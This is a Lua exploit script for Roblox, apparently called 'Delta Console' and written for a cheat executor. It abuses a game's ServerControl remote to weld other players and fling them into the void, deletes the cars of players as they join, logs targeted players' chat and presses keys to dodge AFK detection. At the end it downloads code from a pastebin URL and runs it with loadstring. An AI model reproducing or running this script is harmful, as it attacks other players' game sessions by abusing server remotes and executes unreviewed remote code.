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- _G.afk = false
- _G.global_chatlog = false
- _G.chatlogs = {}
- _G.serverlock = false
- _G.skids = {"migeul40"}
- _G.loopvoid = {}
- for i,v in pairs(game.Players:GetChildren()) do
- v.CharacterAdded:connect(function(char)
- for i,o in pairs(_G.loopvoid) do
- if char.Name == o then
- print("targets " .. char.Name)
- game:GetService("Workspace").GuiEvent:FireServer("#")
- local rpname = game.Players.LocalPlayer.Character:WaitForChild("#")
- local effcloud = rpname:WaitForChild("Head")
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]="EffectCloud",["Property"]="Name",["Object"]=effcloud})
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=game.Players.LocalPlayer.Character.HumanoidRootPart,["Property"]="Parent",["Object"]=effcloud})
- for i,v in pairs(game.Players.LocalPlayer.Character.HumanoidRootPart.EffectCloud:GetChildren()) do
- if v.Name == "Mesh" then
- else
- if v.Name == "Weld" then
- else
- v:Destroy()
- end
- end
- end
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=game.Lighting,["Property"]="Parent",["Object"]=game.Players.LocalPlayer.Character["#"]})
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=0,["Property"]="Transparency",["Object"]=game.Players.LocalPlayer.Character.Head})
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=1,["Property"]="Transparency",["Object"]=effcloud})
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=effcloud,["Property"]="Part0",["Object"]=effcloud.Parent})
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=effcloud,["Property"]="Part1",["Object"]=effcloud.Weld})
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=char.HumanoidRootPart,["Property"]="Part0",["Object"]=effcloud.Weld})
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=true,["Property"]="Anchored",["Object"]=effcloud})
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=Vector3.new(0,-450, 0),["Property"]="Position",["Object"]=effcloud})
- wait(1)
- effcloud:Destroy()
- end
- end
- end)
- end
- game.Players.ChildAdded:connect(function(plr)
- plr.CharacterAdded:connect(function(char)
- for i,o in pairs(_G.loopvoid) do
- if char.Name == o then
- print("targets " .. char.Name)
- local Remote = game.Players.LocalPlayer.Character.PompousTheCloud['ServerControl']
- local Arguments = {
- [1] = "Fly",
- [2] = {["Flying"] = true}
- }
- Remote:InvokeServer(unpack(Arguments))
- local effcloud = game.Players.LocalPlayer.Character.PompousTheCloud:WaitForChild("EffectCloud")
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=true,["Property"]="Anchored",["Object"]=game.Players.LocalPlayer.Character.PompousTheCloud.EffectCloud})
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=char.HumanoidRootPart,["Property"]="Part0",["Object"]=game.Players.LocalPlayer.Character.PompousTheCloud.EffectCloud.Weld})
- game.Players.LocalPlayer.Character.PompousTheCloud.ServerControl:InvokeServer("SetProperty",{["Value"]=Vector3.new(1297.3, -180.956, 3691.73),["Property"]="Position",["Object"]=game.Players.LocalPlayer.Character.PompousTheCloud.EffectCloud})
- wait(0.5)
- local Remote = game.Players.LocalPlayer.Character.PompousTheCloud['ServerControl']
- local Arguments = {
- [1] = "Fly",
- [2] = {["Flying"] = false}
- }
- Remote:InvokeServer(unpack(Arguments))
- end
- end
- end)
- end)
- local function PlaySound(id, volume, pitch)
- local s = Instance.new("Sound", game.Players.LocalPlayer.PlayerGui)
- s.Volume = volume
- s.SoundId = "rbxassetid://" .. id
- s.Looped = false
- s:Play()
- end
- function isInTable(tableValue, toFind)
- local found = false
- for _,v in pairs(tableValue) do
- if v==toFind then
- found = true
- break;
- end
- end
- return found
- end
- game.Players.ChildRemoved:connect(function(v)
- rconsoleprint('@@CYAN@@')
- rconsoleprint(v.Name .. " has left the server.\n")
- rconsoleprint('@@WHITE@@')
- end)
- game.Players.ChildAdded:connect(function(plr)
- if isInTable(_G.skids, plr.Name) then
- else
- rconsoleprint('@@CYAN@@')
- rconsoleprint(plr.Name .. " has joined the server.\n")
- rconsoleprint('@@WHITE@@')
- end
- for i,v in ipairs(_G.skids) do
- if plr.Name == v then
- rconsoleprint('@@RED@@')
- rconsoleprint(plr.Name .. " has joined the server.\n")
- PlaySound("130840811", 5)
- rconsoleprint('@@WHITE@@')
- end
- end
- wait()
- if _G.serverlock == true then
- local v2 = game.Players:FindFirstChild(plr.Name);
- game.ReplicatedStorage.DeleteCar:FireServer(v2)
- end
- end)
- for i,v in pairs(game.Players:GetChildren()) do
- v.Chatted:connect(function(c)
- for i,t in pairs(_G.chatlogs) do
- if v.Name == t then
- rconsoleprint('@@YELLOW@@')
- rconsoleprint("[" .. v.Name .. "]: " .. c .. "\n")
- rconsoleprint('@@WHITE@@')
- end
- end
- end)
- end
- local function loop()
- print("Loop started")
- while true do
- wait()
- if _G.afk == true then
- game.Players.LocalPlayer.Character.Head.Anchored = true
- keypress(87)
- wait()
- keyrelease(87)
- wait()
- keypress(83)
- wait()
- keyrelease(83)
- wait()
- end
- end
- end
- spawn(loop)
- if DCO then
- rconsoleprint('@@CYAN@@')
- rconsoleprint("\nDelta Console is already running.")
- rconsoleprint('@@WHITE@@')
- return
- end
- pcall(function() getgenv().DCO = true end)
- local Players = game:GetService("Players")
- local LocalPlayer = Players.LocalPlayer
- local Character = LocalPlayer.Character
- local Mouse = LocalPlayer:GetMouse()
- local function RemoveSpaces(String)
- return String:gsub("%s+", "") or String
- end
- local function FindPlayer(String)
- String = RemoveSpaces(String)
- for _, _Player in pairs(Players:GetPlayers()) do
- if _Player.Name:lower():match('^'.. String:lower()) then
- return _Player
- end
- end
- return nil
- end
- rconsoleprint('@@GREEN@@')
- rconsoleprint('Please note that this is an early version of Delta Console.\n')
- rconsoleprint('@@WHITE@@')
- rconsoleprint("")
- rconsoleprint('@@MAGENTA@@')
- rconsoleprint('Currently playing game: ' .. tostring(game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name) .. "\n")
- rconsoleprint('@@WHITE@@')
- spawn(function()
- while wait(0.5) do
- local table = {"D", "DE", "DEL", "DELT", "DELTA", " DELTA", " DELTA", " DELTA", " DELTA", " DELTA", " DELTA", " DELTA", " DELTA", " DELT", " DEL", " DE", " D", ""}
- for i,v in pairs(table) do
- wait(0.1)
- rconsolename(v)
- end
- end
- end)
- makefolder("Delta")
- local script = game:HttpGet("https://pastebin.com/raw/3ExFe4ah", true)
- loadstring(script)()
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